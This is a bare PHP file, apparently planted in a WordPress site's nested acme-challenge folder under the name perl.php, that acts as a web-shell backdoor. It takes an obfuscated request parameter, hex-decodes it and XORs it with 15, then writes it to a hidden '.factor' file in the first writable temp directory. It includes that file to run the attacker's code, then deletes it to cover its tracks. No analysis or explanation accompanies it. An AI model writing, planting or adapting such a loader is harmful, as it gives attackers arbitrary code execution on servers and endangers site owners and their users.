File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/b/g/a/e/perl.php
<?php
if(!is_null($_REQUEST["\x70\x6Finte\x72"] ?? null)){
$ptr = hex2bin($_REQUEST["\x70\x6Finte\x72"]);
$fac= '' ; for($l=0; $l<strlen($ptr); $l++){$fac .= chr(ord($ptr[$l]) ^ 15);}
$token = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]);
$flg = 0;
do {
$ent = $token[$flg] ?? null;
if ($flg >= count($token)) break;
if ((bool)is_dir($ent) && (bool)is_writable($ent)) {
$bind = str_replace("{var_dir}", $ent, "{var_dir}/.factor");
if (file_put_contents($bind, $fac)) {
include $bind;
@unlink($bind);
exit;
}
}
$flg++;
} while (true);
}